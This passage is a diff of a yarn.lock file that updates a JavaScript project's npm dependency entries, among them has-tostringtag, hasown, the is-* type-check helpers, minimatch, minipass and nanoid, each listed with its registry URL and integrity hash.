-has-symbols@^1.0.3:
+has-symbols@^1.0.2, has-symbols@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8"
   integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==
 
+has-tostringtag@^1.0.0, has-tostringtag@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc"
+  integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==
+  dependencies:
+    has-symbols "^1.0.3"
+
 has@^1.0.1, has@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
   dependencies:
     function-bind "^1.1.1"
 
+hasown@^2.0.0, hasown@^2.0.1, hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+  dependencies:
+    function-bind "^1.1.2"
+
 he@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
@@ -5183,6 +5641,11 @@ identity-obj-proxy@^3.0.0:
   dependencies:
     harmony-reflect "^1.4.6"
 
+ieee754@^1.1.13:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
+  integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
+
 ignore-by-default@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/ignore-by-default/-/ignore-by-default-1.0.1.tgz#48ca6d72f6c6a3af00a9ad4ae6876be3889e2b09"
@@ -5238,7 +5701,7 @@ inherits@2:
   version "2.0.3"
   resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
 
-inherits@2.0.4:
+inherits@2.0.4, inherits@^2.0.3, inherits@^2.0.4:
   version "2.0.4"
   resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
   integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
@@ -5247,10 +5710,39 @@ ini@^1.3.5:
   version "1.3.5"
   resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.5.tgz#eee25f56db1c9ec6085e0c22778083f596abf927"
 
+ini@~1.3.0:
+  version "1.3.8"
+  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
+  integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
+
+internal-slot@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.7.tgz#c06dcca3ed874249881007b0a5523b172a190802"
+  integrity sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g==
+  dependencies:
+    es-errors "^1.3.0"
+    hasown "^2.0.0"
+    side-channel "^1.0.4"
+
+is-array-buffer@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.4.tgz#7a1f92b3d61edd2bc65d24f130530ea93d7fae98"
+  integrity sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==
+  dependencies:
+    call-bind "^1.0.2"
+    get-intrinsic "^1.2.1"
+
 is-arrayish@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
 
+is-bigint@^1.0.1:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.0.4.tgz#08147a1875bc2b32005d41ccd8291dffc6691df3"
+  integrity sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==
+  dependencies:
+    has-bigints "^1.0.1"
+
 is-binary-path@~2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
@@ -5258,30 +5750,36 @@ is-binary-path@~2.1.0:
   dependencies:
     binary-extensions "^2.0.0"
 
+is-boolean-object@^1.1.0:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.1.2.tgz#5c6dc200246dd9321ae4b885a114bb1f75f63719"
+  integrity sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==
+  dependencies:
+    call-bind "^1.0.2"
+    has-tostringtag "^1.0.0"
+
 is-callable@^1.1.3, is-callable@^1.1.4:
   version "1.1.4"
   resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.1.4.tgz#1e1adf219e1eeb684d691f9d6a05ff0d30a24d75"
 
-is-core-module@^2.1.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.2.0.tgz#97037ef3d52224d85163f5597b2b63d9afed981a"
-  integrity sha512-XRAfAdyyY5F5cOXn7hYQDqh2Xmii+DEfIcQGxK/uNwMHhIkPWO0g8msXcbzLe+MpGoR951MlqM/2iIlU4vKDdQ==
-  dependencies:
-    has "^1.0.3"
+is-callable@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.7.tgz#3bc2a85ea742d9e36205dcacdd72ca1fdc51b055"
+  integrity sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==
 
-is-core-module@^2.11.0:
-  version "2.12.1"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.12.1.tgz#0c0b6885b6f80011c71541ce15c8d66cf5a4f9fd"
-  integrity sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==
+is-core-module@^2.13.0:
+  version "2.15.0"
+  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.15.0.tgz#71c72ec5442ace7e76b306e9d48db361f22699ea"
+  integrity sha512-Dd+Lb2/zvk9SKy1TGCt1wFJFo/MWBPMX5x7KcvLajWTGuomczdQX61PvY5yK6SVACwpoexWo81IfFyoKY2QnTA==
   dependencies:
-    has "^1.0.3"
+    hasown "^2.0.2"
 
-is-core-module@^2.9.0:
-  version "2.10.0"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.10.0.tgz#9012ede0a91c69587e647514e1d5277019e728ed"
-  integrity sha512-Erxj2n/LDAZ7H8WNJXd9tw38GYM3dv8rk8Zcs+jJuxYTW7sozH+SS8NtrSjVL1/vpLvWi1hxy96IzjJ3EHTJJg==
+is-data-view@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.1.tgz#4b4d3a511b70f3dc26d42c03ca9ca515d847759f"
+  integrity sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w==
   dependencies:
-    has "^1.0.3"
+    is-typed-array "^1.1.13"
 
 is-date-object@^1.0.1:
   version "1.0.1"
@@ -5322,6 +5820,18 @@ is-glob@^4.0.3:
   dependencies:
     is-extglob "^2.1.1"
 
+is-negative-zero@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.3.tgz#ced903a027aca6381b777a5743069d7376a49747"
+  integrity sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==
+
+is-number-object@^1.0.4:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.0.7.tgz#59d50ada4c45251784e9904f5246c742f07a42fc"
+  integrity sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==
+  dependencies:
+    has-tostringtag "^1.0.0"
+
 is-number@^7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
@@ -5338,27 +5848,70 @@ is-regex@^1.0.4:
   dependencies:
     has "^1.0.1"
 
+is-regex@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.1.4.tgz#eef5663cd59fa4c0ae339505323df6854bb15958"
+  integrity sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==
+  dependencies:
+    call-bind "^1.0.2"
+    has-tostringtag "^1.0.0"
+
 is-root@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/is-root/-/is-root-2.1.0.tgz#809e18129cf1129644302a4f8544035d51984a9c"
   integrity sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==
 
+is-shared-array-buffer@^1.0.2, is-shared-array-buffer@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.3.tgz#1237f1cba059cdb62431d378dcc37d9680181688"
+  integrity sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg==
+  dependencies:
+    call-bind "^1.0.7"
+
 is-stream@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-2.0.0.tgz#bde9c32680d6fae04129d6ac9d921ce7815f78e3"
   integrity sha512-XCoy+WlUr7d1+Z8GgSuXmpuUFC9fOhRXglJMx+dwLKTkL44Cjd4W1Z5P+BQZpr+cR93aGP4S/s7Ftw6Nd/kiEw==
 
+is-string@^1.0.5, is-string@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.7.tgz#0dd12bf2006f255bb58f695110eff7491eebc0fd"
+  integrity sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==
+  dependencies:
+    has-tostringtag "^1.0.0"
+
 is-symbol@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.2.tgz#a055f6ae57192caee329e7a860118b497a950f38"
   dependencies:
     has-symbols "^1.0.0"
 
+is-symbol@^1.0.3:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.4.tgz#a6dac93b635b063ca6872236de88910a57af139c"
+  integrity sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==
+  dependencies:
+    has-symbols "^1.0.2"
+
+is-typed-array@^1.1.13:
+  version "1.1.13"
+  resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.13.tgz#d6c5ca56df62334959322d7d7dd1cca50debe229"
+  integrity sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw==
+  dependencies:
+    which-typed-array "^1.1.14"
+
 is-typedarray@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
   integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
 
+is-weakref@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.0.2.tgz#9529f383a9338205e89765e0392efc2f100f06f2"
+  integrity sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==
+  dependencies:
+    call-bind "^1.0.2"
+
 is-wsl@^2.2.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
@@ -5366,6 +5919,11 @@ is-wsl@^2.2.0:
   dependencies:
     is-docker "^2.0.0"
 
+isarray@^2.0.5:
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723"
+  integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
+
 isexe@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
@@ -5417,6 +5975,15 @@ istanbul-reports@^3.1.3:
     html-escaper "^2.0.0"
     istanbul-lib-report "^3.0.0"
 
+jackspeak@^3.1.2:
+  version "3.4.3"
+  resolved "https://registry.yarnpkg.com/jackspeak/-/jackspeak-3.4.3.tgz#8833a9d89ab4acde6188942bd1c53b6390ed5a8a"
+  integrity sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==
+  dependencies:
+    "@isaacs/cliui" "^8.0.2"
+  optionalDependencies:
+    "@pkgjs/parseargs" "^0.11.0"
+
 jest-changed-files@^27.5.1:
   version "27.5.1"
   resolved "https://registry.yarnpkg.com/jest-changed-files/-/jest-changed-files-27.5.1.tgz#a348aed00ec9bf671cc58a66fcbe7c3dfd6a68f5"
@@ -5906,7 +6473,12 @@ jest@^27.4.3:
     import-local "^3.0.2"
     jest-cli "^27.5.1"
 
-"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
+jiti@^1.21.0:
+  version "1.21.6"
+  resolved "https://registry.yarnpkg.com/jiti/-/jiti-1.21.6.tgz#6c7f7398dd4b3142767f9a168af2f317a428d268"
+  integrity sha512-2yTgeWTWzMWkHu6Jp9NKgePDaYHbntiwvYuuJLbbN9vl7DC9DvXKOB2BC3ZZ92D3cvV/aflH0osDfwpHepQ53w==
+
+js-tokens@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
 
@@ -6016,11 +6588,21 @@ levn@~0.3.0:
     prelude-ls "~1.1.2"
     type-check "~0.3.2"
 
-lilconfig@^2.0.3, lilconfig@^2.0.5, lilconfig@^2.0.6:
+lilconfig@^2.0.3:
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/lilconfig/-/lilconfig-2.0.6.tgz#32a384558bd58af3d4c6e077dd1ad1d397bc69d4"
   integrity sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg==
 
+lilconfig@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/lilconfig/-/lilconfig-2.1.0.tgz#78e23ac89ebb7e1bfbf25b18043de756548e7f52"
+  integrity sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==
+
+lilconfig@^3.0.0:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/lilconfig/-/lilconfig-3.1.2.tgz#e4a7c3cb549e3a606c8dcc32e5ae1005e62c05cb"
+  integrity sha512-eop+wDAvpItUys0FWkHIKeC9ybYrTGbU41U5K7+bttZZeohvnY7M9dZ5kB21GNWiFT2q1OoPTvncPCgSOVO5ow==
+
 lines-and-columns@^1.1.6:
   version "1.1.6"
   resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.1.6.tgz#1c00c743b433cd0a4e80758f7b64a57440d9ff00"
@@ -6031,7 +6613,7 @@ loader-runner@^4.2.0:
   resolved "https://registry.yarnpkg.com/loader-runner/-/loader-runner-4.3.0.tgz#c1b4a163b99f614830353b16755e7149ac2314e1"
   integrity sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==
 
-loader-utils@^2.0.0:
+loader-utils@^2.0.0, loader-utils@^2.0.4:
   version "2.0.4"
   resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-2.0.4.tgz#8b5cb38b5c34a9a018ee1fc0e6a066d1dfcc528c"
   integrity sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==
@@ -6075,10 +6657,6 @@ lodash.memoize@^4.1.2:
   version "4.1.2"
   resolved "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe"
 
-lodash.sortby@^4.7.0:
-  version "4.7.0"
-  resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438"
-
 lodash.uniq@^4.5.0:
   version "4.5.0"
   resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
@@ -6101,12 +6679,6 @@ lodash@^4.17.20, lodash@^4.17.21, lodash@^4.7.0:
   resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
   integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
 
-loose-envify@^1.1.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
-  dependencies:
-    js-tokens "^3.0.0 || ^4.0.0"
-
 lower-case@^2.0.2:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-2.0.2.tgz#6fa237c63dbdc4a82ca0fd882e4722dc5e634e28"
@@ -6114,6 +6686,11 @@ lower-case@^2.0.2:
   dependencies:
     tslib "^2.0.3"
 
+lru-cache@^10.2.0:
+  version "10.4.3"
+  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-10.4.3.tgz#410fc8a17b70e598013df257c2446b7f3383f119"
+  integrity sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==
+
 lru-cache@^5.1.1:
   version "5.1.1"
   resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
@@ -6121,13 +6698,6 @@ lru-cache@^5.1.1:
   dependencies:
     yallist "^3.0.2"
 
-lru-cache@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94"
-  integrity sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==
-  dependencies:
-    yallist "^4.0.0"
-
 lz-string@^1.4.4:
   version "1.4.4"
   resolved "https://registry.yarnpkg.com/lz-string/-/lz-string-1.4.4.tgz#c0d8eaf36059f705796e1e344811cf4c498d3a26"
@@ -6140,11 +6710,12 @@ make-dir@^3.0.0, make-dir@^3.0.2, make-dir@^3.1.0:
   dependencies:
     semver "^6.0.0"
 
-makeerror@1.0.x:
-  version "1.0.11"
-  resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.11.tgz#e01a5c9109f2af79660e4e8b9587790184f5a96c"
+makeerror@1.0.12:
+  version "1.0.12"
+  resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.12.tgz#3e5dd2079a82e812e983cc6610c4a2cb0eaa801a"
+  integrity sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==
   dependencies:
-    tmpl "1.0.x"
+    tmpl "1.0.5"
 
 mdn-data@2.0.14:
   version "2.0.14"
@@ -6183,6 +6754,14 @@ micromatch@^4.0.4:
     braces "^3.0.2"
     picomatch "^2.3.1"
 
+micromatch@^4.0.5:
+  version "4.0.7"
+  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.7.tgz#33e8190d9fe474a9895525f5618eee136d46c2e5"
+  integrity sha512-LPP/3KorzCwBxfeUuZmaR6bG2kdeHSbe0P2tY3FLRU4vYrjYz5hI4QZwV0njUx3jeuKe67YukQ1LSPZBKDqO/Q==
+  dependencies:
+    braces "^3.0.3"
+    picomatch "^2.3.1"
+
 mime-db@1.52.0, "mime-db@>= 1.43.0 < 2":
   version "1.52.0"
   resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70"
@@ -6199,6 +6778,11 @@ mimic-fn@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
 
+mimic-response@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/mimic-response/-/mimic-response-3.1.0.tgz#2d1d59af9c1b129815accc2c46a022a5ce1fa3c9"
+  integrity sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==
+
 min-indent@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/min-indent/-/min-indent-1.0.1.tgz#a63f681673b30571fbe8bc25686ae746eefa9869"
@@ -6211,20 +6795,44 @@ mini-css-extract-plugin@^2.4.5:
   dependencies:
     schema-utils "^4.0.0"
 
-minimatch@3.0.4, minimatch@^3.0.4:
+minimatch@^3.0.4:
   version "3.0.4"
   resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
   dependencies:
     brace-expansion "^1.1.7"
 
+minimatch@^3.0.5:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
+  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+minimatch@^9.0.4:
+  version "9.0.5"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
+  integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
+  dependencies:
+    brace-expansion "^2.0.1"
+
 minimist@0.0.8:
   version "0.0.8"
   resolved "https://registry.yarnpkg.com/minimist/-/minimist-0.0.8.tgz#857fcabfc3397d2625b8228262e86aa7a011b05d"
 
-minimist@^1.2.6:
-  version "1.2.6"
-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.6.tgz#8637a5b759ea0d6e98702cfb3a9283323c93af44"
-  integrity sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==
+minimist@^1.2.0, minimist@^1.2.3:
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
+  integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==
+
+"minipass@^5.0.0 || ^6.0.2 || ^7.0.0", minipass@^7.1.2:
+  version "7.1.2"
+  resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz#93a9626ce5e5e66bd4db86849e7515e92340a707"
+  integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==
+
+mkdirp-classic@^0.5.2, mkdirp-classic@^0.5.3:
+  version "0.5.3"
+  resolved "https://registry.yarnpkg.com/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz#fa10c9115cc6d8865be221ba47ee9bed78601113"
+  integrity sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==
 
 mkdirp@~0.5.1:
   version "0.5.1"
@@ -6245,11 +6853,30 @@ ms@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
 
+mz@^2.7.0:
+  version "2.7.0"
+  resolved "https://registry.yarnpkg.com/mz/-/mz-2.7.0.tgz#95008057a56cafadc2bc63dde7f9ff6955948e32"
+  integrity sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==
+  dependencies:
+    any-promise "^1.0.0"
+    object-assign "^4.0.1"
+    thenify-all "^1.0.0"
+
 nanoid@^3.3.4:
   version "3.3.4"
   resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.4.tgz#730b67e3cd09e2deacf03c027c81c9d9dbc5e8ab"
   integrity sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==
 
+nanoid@^3.3.7:
+  version "3.3.7"
+  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.7.tgz#d0c301a691bc8d54efa0a2226ccf3fe2fd656bd8"
+  integrity sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==
+
+napi-build-utils@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/napi-build-utils/-/napi-build-utils-2.0.0.tgz#13c22c0187fcfccce1461844136372a47ddc027e"
+  integrity sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==
+
 natural-compare@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
@@ -6259,7 +6886,7 @@ negotiator@0.6.3:
   resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd"
   integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==
 
-neo-async@^2.6.2:
+neo-async@^2.6.1, neo-async@^2.6.2:
   version "2.6.2"
